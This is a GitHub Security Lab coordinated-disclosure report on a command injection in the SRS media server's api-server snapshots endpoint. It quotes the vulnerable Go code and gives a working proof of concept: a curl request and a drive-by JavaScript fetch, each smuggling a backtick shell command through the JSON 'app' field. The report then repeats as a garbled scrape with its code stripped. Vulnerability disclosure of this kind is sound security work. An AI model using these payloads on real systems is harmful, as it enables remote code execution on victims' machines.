GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2023-025
The GitHub Security Lab team has identified a potential security vulnerability in SRS.
We are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected] (please include GHSL-2023-025 as a reference).
If you are NOT the correct point of contact for this report, please let us know!
Summary
SRS's api-server server is vulnerable to a drive-by command injection.
Product
SRS
Tested Version
v5.0-a4 or v5.0.137 or v5.0.156
v6.0.36 or v6.0.18
Details
Issue: Command injection (GHSL-2023-025)
The api-server server is vulnerable to command injection. An attacker may send a request to the /api/v1/snapshots endpoint containing any commands to be executed as part of the body of the POST request. The handler for the /api/v1/snapshots endpoint is:
http.HandleFunc("/api/v1/snapshots", func(w http.ResponseWriter, r *http.Request) {
if r.Method != "POST" {
SrsWriteDataResponse(w, struct{}{})
return
}
if err := func() error {
body, err := ioutil.ReadAll(r.Body)
if err != nil {
return fmt.Errorf("read request body, err %v", err)
}
log.Println(fmt.Sprintf("post to snapshots, req=%v", string(body)))
msg := &SrsSnapShotRequest{}
if err := json.Unmarshal(body, msg); err != nil { // [1]
return fmt.Errorf("parse message from %v, err %v", string(body), err)
}
log.Println(fmt.Sprintf("Got %v", msg.String()))
if msg.IsOnPublish() {
sw.Create(msg) // [2]
} else if msg.IsOnUnPublish() {
sw.Destroy(msg)
} else {
return fmt.Errorf("invalid message %v", msg.String())
}
SrsWriteDataResponse(w, &SrsCommonResponse{Code: 0})
return nil
}(); err != nil {
SrsWriteErrorResponse(w, err)
}
})
The body of the POST request is unmarshalled in [1] and passed to the sw.Create method. The Create method will craft a RTMP URL using untrusted data (e.g.: the app value from the JSON request):
func (v *SnapshotWorker) Create(sm *SrsSnapShotRequest) {
streamUrl := fmt.Sprintf("rtmp://127.0.0.1/%v/%v?vhost=%v", sm.App, sm.Stream, sm.Vhost)
if _, ok := v.snapshots.Load(streamUrl); ok {
return
}
sj := NewSnapshotJob()
sj.SrsSnapShotRequest = *sm
sj.updatedAt = time.Now()
go sj.Serve(v.ffmpegPath, streamUrl) // [3]
v.snapshots.Store(streamUrl, sj)
}
The streamUrl is then passed to the SnapshotJob.Serve() method which, in turn, passes it to the SnapshotWorker.do() method where the inputUrl is interpolated into the param variable which is later executed as a shell command:
param := fmt.Sprintf("%v -i %v -vf fps=1 -vcodec png -f image2 -an -y -vframes %v -y %v", ffmpegPath, inputUrl, v.vframes, normalPicPath)
log.Println(fmt.Sprintf("start snapshot, cmd param=%v", param))
timeoutCtx, _ := context.WithTimeout(v.cancelCtx, v.timeout)
cmd := exec.CommandContext(timeoutCtx, "/bin/bash", "-c", param)
This issue was found by the Command built from user-controlled sources CodeQL query.
Impact
This issue may lead to Remote Code Execution (RCE).
Proof of concept
- Start the
api-server: go run server.go
- Send the following request to the
/api/v1/snapshots endpoint:
curl -i -s -k -X $'POST' \
-H $'Host: localhost:8085' -H $'Connection: close' -H $'Content-Type: application/json' \
--data-binary $'{\"action\": \"on_publish\",\"app\": \"`touch /tmp/pwned`\", \"stream\":\"foo\", \"vhost\": \"foo\",\"client_id\":\"foo\"}' \
$'http://localhost:8085/api/v1/snapshots'
- Check that a file named
pwned will be created at /tmp
Note that even if port 8085 is only exposed on the localhost interface, an attacker may still be able to attack this service using what is known as a drive-by attack. For that purpose, an attacker can prepare a malicious site containing the following JS script:
<script>
fetch("http://localhost:8085/api/v1/snapshots", {
method: 'post',
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: '{"action": "on_publish", "app": "`touch /tmp/pwned`", "stream":"foo", "vhost": "foo", "client_id":"foo"}',
})
</script>
If the attacker fools the victim to visit this page while they have the api-server service running, they will be able to access and compromise the service remotely.
GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for this finding. This also allows you to invite the GHSL team to collaborate and further discuss this finding in private before it is published.
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at [email protected], please include a reference to GHSL-2023-025 in any communication regarding this issue.
Disclosure Policy
This report is subject to our coordinated disclosure policy.
GitHub Security Lab (GHSL) Vulnerability Report:
GHSL-2023-025The GitHub Security Lab team has identified a potential security vulnerability in SRS.
We are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at
[email protected](please includeGHSL-2023-025as a reference).If you are NOT the correct point of contact for this report, please let us know!
Summary
SRS's
api-serverserver is vulnerable to a drive-by command injection.Product
SRS
Tested Version
v5.0-a4 or v5.0.137 or v5.0.156
v6.0.36 or v6.0.18
Details
Issue: Command injection (
GHSL-2023-025)The
api-serverserver is vulnerable to command injection. An attacker may send a request to the/api/v1/snapshotsendpoint containing any commands to be executed as part of the body of the POST request. The handler for the/api/v1/snapshotsendpoint is:The body of the POST request is unmarshalled in
[1]and passed to thesw.Createmethod. TheCreatemethod will craft a RTMP URL using untrusted data (e.g.: theappvalue from the JSON request):The
streamUrlis then passed to theSnapshotJob.Serve()method which, in turn, passes it to theSnapshotWorker.do()method where theinputUrlis interpolated into theparamvariable which is later executed as a shell command:This issue was found by the Command built from user-controlled sources CodeQL query.
Impact
This issue may lead to Remote Code Execution (RCE).
Proof of concept
api-server:go run server.go/api/v1/snapshotsendpoint:pwnedwill be created at/tmpNote that even if port 8085 is only exposed on the localhost interface, an attacker may still be able to attack this service using what is known as a drive-by attack. For that purpose, an attacker can prepare a malicious site containing the following JS script:
If the attacker fools the victim to visit this page while they have the
api-serverservice running, they will be able to access and compromise the service remotely.GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for this finding. This also allows you to invite the GHSL team to collaborate and further discuss this finding in private before it is published.
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at
[email protected], please include a reference toGHSL-2023-025in any communication regarding this issue.Disclosure Policy
This report is subject to our coordinated disclosure policy.